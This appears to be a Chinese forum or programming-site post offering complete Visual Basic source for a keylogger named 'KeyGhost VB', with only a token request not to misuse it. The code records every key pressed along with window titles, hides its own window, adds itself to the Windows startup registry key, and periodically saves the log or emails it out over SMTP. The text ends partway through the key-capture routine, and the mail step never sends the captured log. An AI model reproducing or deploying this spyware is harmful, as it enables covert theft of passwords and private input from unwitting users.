分享
 
 
 

键盘幽灵VB版

王朝vb·作者佚名  2006-01-08
窄屏简体版  字體: |||超大  

这个是我写的一个类似键盘幽灵的程序,大家自己看看吧。晚上无聊写的,不要拿来做坏事呀。

mCommon.bas

Attribute VB_Name = "mFuncation"

'设置钩子

Public Function Hook(ByVal hWnd As Long)

'监视所有消息

'设置子分类

lpPrevWndProc = SetWindowLong(hWnd, GWL_WNDPROC, AddressOf WindowProc)

End Function

'卸载钩子

Public Sub UnHook(ByVal hWnd As Long)

'卸载子分类

Call SetWindowLong(hWnd, GWL_WNDPROC, lpPrevWndProc)

End Sub

'设置CAPS键和NUMLOCK键的状态为开

Public Function CAPSLOCKON() As Boolean

Static bInit As Boolean

Static bOn As Boolean

If Not bInit Then

While GetAsyncKeyState(VK_CAPITAL)

Wend

bOn = GetKeyState(VK_CAPITAL)

bInit = True

Else

If GetAsyncKeyState(VK_CAPITAL) Then

While GetAsyncKeyState(VK_CAPITAL)

DoEvents

Wend

bOn = Not bOn

End If

End If

CAPSLOCKON = bOn

End Function

'取得一个窗体的标题

Public Function GetCaption(WindowHandle As Long) As String

Dim strBuffer As String, lngTextLength As Long

lngTextLength = GetWindowTextLength(WindowHandle)

strBuffer = String(lngTextLength, 0)

Call GetWindowText(WindowHandle, strBuffer, lngTextLength + 1)

GetCaption$ = strBuffer

End Function

Function WindowProc(ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

WindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, lParam)

End Function

mAPI.bas

Attribute VB_Name = "mAPI"

'申明API

Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Declare Function GetAsyncKeyState Lib "user32" (ByVal VKEY As Long) As Integer

Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long

Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long

Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Declare Function GetForegroundWindow Lib "user32.dll" () As Long

Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long

Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long

'申明常数

Const VK_CAPITAL = &H14

Const REG As Long = 1

Const HKEY_LOCAL_MACHINE As Long = &H80000002

Const HWND_TOPMOST = -1

Const SWP_NOMOVE = &H2

Const SWP_NOSIZE = &H1

Const flags = SWP_NOMOVE Or SWP_NOSIZE

Const GWL_WNDPROC = -4

frmMain.frm

VERSION 5.00

Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"

Object = "{3B7C8863-D78F-101B-B9B5-04021C009402}#1.2#0"; "RICHTX32.OCX"

Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"

Begin VB.Form frmMain

BorderStyle = 1 'Fixed Single

Caption = "键盘幽灵-VB版"

ClientHeight = 4305

ClientLeft = 45

ClientTop = 435

ClientWidth = 6750

Icon = "frmMain.frx":0000

LinkTopic = "Form1"

MaxButton = 0 'False

MinButton = 0 'False

ScaleHeight = 4305

ScaleWidth = 6750

StartUpPosition = 3 '窗口缺省

Begin VB.CheckBox chkShowForm

Caption = "实现出现运行设置窗体"

Enabled = 0 'False

Height = 255

Left = 3000

TabIndex = 15

Top = 1920

Width = 2175

End

Begin MSWinsockLib.Winsock Winsock1

Left = 720

Top = 120

_ExtentX = 741

_ExtentY = 741

_Version = 393216

End

Begin VB.Timer Timer2

Enabled = 0 'False

Interval = 20000

Left = 5520

Top = 3360

End

Begin VB.Timer Timer1

Enabled = 0 'False

Interval = 1

Left = 5160

Top = 3360

End

Begin VB.CommandButton cmdExit

Caption = "退出"

Height = 375

Left = 4800

TabIndex = 14

Top = 3840

Width = 975

End

Begin RichTextLib.RichTextBox txtKeyLog

Height = 735

Left = 4080

TabIndex = 13

Top = 840

Visible = 0 'False

Width = 2415

_ExtentX = 4260

_ExtentY = 1296

_Version = 393217

ScrollBars = 3

DisableNoScroll = -1 'True

Appearance = 0

TextRTF = $"frmMain.frx":08CA

End

Begin VB.CommandButton cmdStart

Caption = "确定"

Height = 375

Left = 3480

TabIndex = 12

Top = 3840

Width = 1095

End

Begin VB.TextBox txtEmail

Appearance = 0 'Flat

Enabled = 0 'False

Height = 270

Left = 2280

TabIndex = 11

Top = 3360

Width = 2655

End

Begin VB.TextBox txtPort

Alignment = 2 'Center

Appearance = 0 'Flat

Enabled = 0 'False

Height = 270

Left = 5280

MaxLength = 5

TabIndex = 9

Text = "25"

Top = 2940

Width = 735

End

Begin VB.TextBox txtSmtp

Appearance = 0 'Flat

Enabled = 0 'False

Height = 270

Left = 2280

TabIndex = 7

Text = "Localhost"

Top = 2940

Width = 2655

End

Begin VB.CheckBox chkSendMail

Caption = "是否将键盘记录以电子邮件发送到自动的EMAIL中"

Height = 375

Left = 240

TabIndex = 5

Top = 2400

Width = 4335

End

Begin VB.CheckBox chkStartup

Caption = "启动时是否自动运行"

Height = 255

Left = 240

TabIndex = 4

Top = 1920

Width = 2415

End

Begin VB.CommandButton cmdSavePath

Appearance = 0 'Flat

Caption = "..."

Enabled = 0 'False

Height = 255

Left = 3240

TabIndex = 3

Top = 1440

Width = 495

End

Begin VB.TextBox txtFilePath

Appearance = 0 'Flat

Enabled = 0 'False

Height = 270

Left = 240

TabIndex = 2

Top = 1440

Width = 2895

End

Begin MSComDlg.CommonDialog cdgSaveFile

Left = 120

Top = 120

_ExtentX = 847

_ExtentY = 847

_Version = 393216

DialogTitle = "保存键盘记录文件"

Filter = "文本文件(*.txt)|*.txt"

InitDir = "c:\"

End

Begin VB.CheckBox chkSaveFile

Caption = "是否将记录存储为文件"

Height = 255

Left = 240

TabIndex = 1

Top = 960

Width = 2295

End

Begin VB.Label lblEmail

Alignment = 2 'Center

AutoSize = -1 'True

Caption = "Email:"

Enabled = 0 'False

Height = 180

Left = 1560

TabIndex = 10

Top = 3420

Width = 630

End

Begin VB.Label lblPort

Alignment = 2 'Center

AutoSize = -1 'True

Caption = ":"

Enabled = 0 'False

Height = 180

Left = 5040

TabIndex = 8

Top = 3000

Width = 180

End

Begin VB.Label lblSmtp

Alignment = 2 'Center

AutoSize = -1 'True

Caption = "Smtp服务器:"

Enabled = 0 'False

Height = 180

Left = 1080

TabIndex = 6

Top = 3000

Width = 1080

End

Begin VB.Label lblAppName

Alignment = 2 'Center

AutoSize = -1 'True

Caption = "运行设定"

BeginProperty Font

Name = "华文彩云"

Size = 26.25

Charset = 134

Weight = 400

Underline = 0 'False

Italic = 0 'False

Strikethrough = 0 'False

EndProperty

Height = 540

Left = 2310

TabIndex = 0

Top = 240

Width = 2115

End

End

Attribute VB_Name = "frmMain"

Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = False

'枚举SMTP的各种状态

Private Enum SMTP_State

MAIL_CONNECT

MAIL_HELO

MAIL_FROM

MAIL_RCPTTO

MAIL_DATA

MAIL_DOT

MAIL_QUIT

End Enum

'申明变量

Dim strWindow As String

Dim strErrorFile As String

Dim m_State As SMTP_State

Private Sub chkSaveFile_Click()

If chkSaveFile.Value = Checked Then

txtFilePath.Enabled = True

cmdSavePath.Enabled = True

Else

txtFilePath.Enabled = False

cmdSavePath.Enabled = False

End If

End Sub

Private Sub chkSendMail_Click()

If chkSendMail.Value = Checked Then

lblSmtp.Enabled = True

txtSmtp.Enabled = True

lblPort.Enabled = True

txtPort.Enabled = True

lblEmail.Enabled = True

txtEmail.Enabled = True

Else

lblSmtp.Enabled = False

txtSmtp.Enabled = False

lblPort.Enabled = False

txtPort.Enabled = False

lblEmail.Enabled = False

txtEmail.Enabled = False

End If

End Sub

Private Sub chkStartup_Click()

If chkStartup.Value = Checked Then

chkShowForm.Enabled = True

Else

chkShowForm.Enabled = False

End If

End Sub

Private Sub cmdExit_Click()

Unload Me

End

End Sub

Private Sub cmdSavePath_Click()

cdgSaveFile.ShowSave

txtFilePath.Text = cdgSaveFile.FileName

End Sub

Private Sub cmdStart_Click()

Dim objWSHShell As Object

Set objWSHShell = CreateObject("WScript.Shell")

If chkSaveFile.Value = Checked Then

If txtFilePath.Text = "" Then

MsgBox "键盘日志文件保存目录为空", vbOKOnly, "错误"

Exit Sub

End If

SaveSetting App.EXEName, "Setting", "SaveFile", "True"

SaveSetting App.EXEName, "Setting", "FilePath", txtFilePath.Text

Open txtFilePath.Text For Append As #1

Write #1, vbCrLf

Write #1, "[日志开始时间: " & Now & "]" '日志开始记录时间

Write #1, String(50, "-")

Close #1

Else

SaveSetting App.EXEName, "Setting", "SaveFile", "False"

SaveSetting App.EXEName, "Setting", "FilePath", ""

End If

If chkSendMail.Value = Checked Then

If txtEmail.Text = "" Or txtSmtp.Text = "" Or txtPort.Text = "" Then

MsgBox "请填写完整的邮件信息", vbOKOnly, "错误"

Exit Sub

End If

SaveSetting App.EXEName, "Setting", "SendMail", "True"

SaveSetting App.EXEName, "Setting", "Smtp", txtSmtp.Text

SaveSetting App.EXEName, "Setting", "Port", txtPort.Text

SaveSetting App.EXEName, "Setting", "Email", txtEmail.Text

Else

SaveSetting App.EXEName, "Setting", "SendMail", "False"

SaveSetting App.EXEName, "Setting", "Smtp", ""

SaveSetting App.EXEName, "Setting", "Port", ""

SaveSetting App.EXEName, "Setting", "Email", ""

End If

If chkStartup.Value = Checked Then

SaveSetting App.EXEName, "Setting", "StartUp", "True"

objWSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\KeyGhost-VB", App.Path & "\" & App.EXEName & ".EXE"

If chkShowForm.Value = Checked Then

SaveSetting App.EXEName, "Setting", "ShowForm", "True"

Else

SaveSetting App.EXEName, "Setting", "ShowForm", "False"

End If

Else

objWSHShell.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\KeyGhost-VB", ""

SaveSetting App.EXEName, "Setting", "StartUp", "False"

End If

Timer1.Enabled = True

Timer2.Enabled = True

Me.Visible = False

End Sub

Private Sub Form_Load()

'如果程序以运行,则不再运行本程序

If App.PrevInstance = True Then

Unload Me

End

End If

Hook Me.hWnd

If GetSetting(App.EXEName, "Setting", "SaveFile") = "True" Then

chkSaveFile.Value = Checked

txtFilePath.Enabled = True

cmdSavePath.Enabled = True

End If

If GetSetting(App.EXEName, "Setting", "FilePath") <> "" Then

txtFilePath.Text = GetSetting(App.EXEName, "Setting", "FilePath")

End If

If GetSetting(App.EXEName, "Setting", "SendMail") = "True" Then

chkSendMail.Value = Checked

lblSmtp.Enabled = True

txtSmtp.Enabled = True

lblPort.Enabled = True

txtPort.Enabled = True

lblEmail.Enabled = True

txtEmail.Enabled = True

End If

If GetSetting(App.EXEName, "Setting", "Smtp") <> "" Then

txtSmtp.Text = GetSetting(App.EXEName, "Setting", "Smtp")

End If

If GetSetting(App.EXEName, "Setting", "Port") <> "" Then

txtPort.Text = GetSetting(App.EXEName, "Setting", "Port")

End If

If GetSetting(App.EXEName, "Setting", "Email") <> "" Then

txtEmail.Text = GetSetting(App.EXEName, "Setting", "Email")

End If

If GetSetting(App.EXEName, "Setting", "StartUp") = "True" Then

chkStartup.Value = Checked

If GetSetting(App.EXEName, "Setting", "ShowForm") = "True" Then

chkShowForm.Value = Checked

Me.Visible = True

Else

chkShowForm.Value = Checked

cmdStart_Click

End If

End If

strWindow = GetCaption(GetForegroundWindow)

End Sub

Private Sub Form_Unload(Cancel As Integer)

UnHook Me.hWnd

End Sub

'每隔20秒将键盘记录写入文件或以电子邮件发送出去

Private Sub Timer2_Timer()

If chkSaveFile.Value = Checked Then

Open txtFilePath.Text For Append As #1

Write #1, txtKeyLog.Text

Close #1

'清空RichTextBox控件的内容以释放内存

txtKeyLog.Text = ""

End If

If chkSendMail.Value = Checked Then

Winsock1.Connect Trim(txtSmtp.Text), CInt(txtPort.Text)

m_State = MAIL_CONNECT

End If

End Sub

Private Sub txtPort_KeyPress(KeyAscii As Integer)

Select Case KeyAscii

Case 48 To 57

Case vbKeyBack, vbKeyTab

Case Else

KeyAscii = 0

End Select

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim strServerResponse As String

Dim strResponseCode As String

Dim strDataToSend As String

Winsock1.GetData strServerResponse

strResponseCode = Left(strServerResponse, 3)

If strResponseCode = "250" Or _

strResponseCode = "220" Or _

strResponseCode = "354" Then

Select Case m_State

Case MAIL_CONNECT

m_State = MAIL_HELO

strDataToSend = Trim(txtEmail.Text)

strDataToSend = Left(strDataToSend, _

InStr(1, strDataToSend, "@") - 1)

Winsock1.SendData "HELO " & strDataToSend & vbCrLf

Case MAIL_HELO

m_State = MAIL_FROM

Winsock1.SendData "MAIL FROM:" & "" & vbCrLf

Case MAIL_FROM

m_State = MAIL_RCPTTO

Winsock1.SendData "RCPT TO:" & Trim(txtEmail.Text) & vbCrLf

Case MAIL_RCPTTO

m_State = MAIL_DATA

Winsock1.SendData "DATA" & vbCrLf

Case MAIL_DATA

m_State = MAIL_DOT

Winsock1.SendData "Subject:" & "键盘幽灵-VB版键盘记录文件" & Now & vbLf & vbCrLf

Dim varLines As Variant

Dim varLine As Variant

Dim strMessage As String

strMessage = txtKeyLog.Text & vbCrLf & vbCrLf

Winsock1.SendData "." & vbCrLf

Case MAIL_DOT

m_State = MAIL_QUIT

Winsock1.SendData "QUIT" & vbCrLf

Case MAIL_QUIT

Winsock1.Close

End Select

Else

Winsock1.Close

If Not m_State = MAIL_QUIT Then

strErrorFile = "errorlog.txt"

Open App.Path & "\" & strErrorFile For Append As #2

Write #2, "邮件发送错误:" & Number & Description & vbCrLf

Close #2

End If

End If

End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

strErrorFile = "errorlog.txt"

Open App.Path & "\" & strErrorFile For Append As #2

Write #2, "邮件发送错误:" & Number & Description & vbCrLf

Close #2

End Sub

Private Sub Timer1_Timer()

'如果取得的窗口标题不是前面变量中存储的标题,则重新改变设置变量的值,并且重新设置键盘记录内容

If strWindow <> GetCaption(GetForegroundWindow) Then

strWindow = GetCaption(GetForegroundWindow)

txtKeyLog.Text = txtKeyLog.Text & Chr(13) & Chr(13) & "[" & Time & " - 窗口: " & strWindow & "]" & Chr(13)

End If

'下面的程序将记录键盘的操作,并保存在RichTextBox控件中

'按Ctrl + lngShift + F12则呼叫本程序

Dim lngKeyState As Long

Dim lngShift As Long

lngShift = GetAsyncKeyState(vbKeyShift)

'记录大写字母A和小写字母a

lngKeyState = GetAsyncKeyState(vbKeyA)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "A"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "a"

End If

'记录大写字母B和小写字母b

lngKeyState = GetAsyncKeyState(vbKeyB)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "B"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "b"

End If

'记录大写字母C和小写字母c

lngKeyState = GetAsyncKeyState(vbKeyC)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "C"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "c"

End If

'记录大写字母D和小写字母d

lngKeyState = GetAsyncKeyState(vbKeyD)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "D"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "d"

End If

'记录大写字母E和小写字母e

lngKeyState = GetAsyncKeyState(vbKeyE)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "E"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "e"

End If

'记录大写字母F和小写字母f

lngKeyState = GetAsyncKeyState(vbKeyF)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "F"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "f"

End If

'记录大写字母G和小写字母g

lngKeyState = GetAsyncKeyState(vbKeyG)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "G"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "g"

End If

'记录大写字母H和小写字母h

lngKeyState = GetAsyncKeyState(vbKeyH)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "H"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "h"

End If

'记录大写字母I和小写字母i

lngKeyState = GetAsyncKeyState(vbKeyI)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "I"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "i"

End If

'记录大写字母J和小写字母j

lngKeyState = GetAsyncKeyState(vbKeyJ)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "J"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "j"

End If

'记录大写字母K和小写字母k

lngKeyState = GetAsyncKeyState(vbKeyK)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "K"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "k"

End If

'记录大写字母L和小写字母l

lngKeyState = GetAsyncKeyState(vbKeyL)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "L"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "l"

End If

'记录大写字母M和小写字母m

lngKeyState = GetAsyncKeyState(vbKeyM)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "M"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "m"

End If

'记录大写字母N和小写字母n

lngKeyState = GetAsyncKeyState(vbKeyN)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "N"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "n"

End If

'记录大写字母O和小写字母o

lngKeyState = GetAsyncKeyState(vbKeyO)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "O"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "o"

End If

'记录大写字母P和小写字母p

lngKeyState = GetAsyncKeyState(vbKeyP)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "P"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "p"

End If

'记录大写字母Q和小写字母q

lngKeyState = GetAsyncKeyState(vbKeyQ)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "Q"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "q"

End If

'记录大写字母R和小写字母r

lngKeyState = GetAsyncKeyState(vbKeyR)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "R"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "r"

End If

'记录大写字母S和小写字母s

lngKeyState = GetAsyncKeyState(vbKeyS)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "S"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "s"

End If

'记录大写字母T和小写字母t

lngKeyState = GetAsyncKeyState(vbKeyT)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "T"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "t"

End If

'记录大写字母U和小写字母u

lngKeyState = GetAsyncKeyState(vbKeyU)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "U"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "u"

End If

'记录大写字母V和小写字母v

lngKeyState = GetAsyncKeyState(vbKeyV)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "V"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "v"

End If

'记录大写字母W和小写字母w

lngKeyState = GetAsyncKeyState(vbKeyW)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "W"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "w"

End If

'记录大写字母X和小写字母x

lngKeyState = GetAsyncKeyState(vbKeyX)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "X"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "x"

End If

'记录大写字母Y和小写字母y

lngKeyState = GetAsyncKeyState(vbKeyY)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "Y"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "y"

End If

'记录大写字母Z和小写字母z

lngKeyState = GetAsyncKeyState(vbKeyZ)

If (CAPSLOCKON = True And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = False And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "Z"

End If

If (CAPSLOCKON = False And lngShift = 0 And (lngKeyState And &H1) = &H1) Or (CAPSLOCKON = True And lngShift <> 0 And (lngKeyState And &H1) = &H1) Then

txtKeyLog.Text = txtKeyLog.Text + "z"

End If

'记录数字1和!号

lngKeyState = GetAsyncKeyState(vbKey1)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "1"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "!"

End If

'记录数字2和@号

lngKeyState = GetAsyncKeyState(vbKey2)

If lngShift = 0 And (lngKeyState And &H1) = &H1 Then

txtKeyLog.Text = txtKeyLog.Text + "2"

End If

If lngShift <> 0 And (lngKeyState And &H1) = &H1 Then

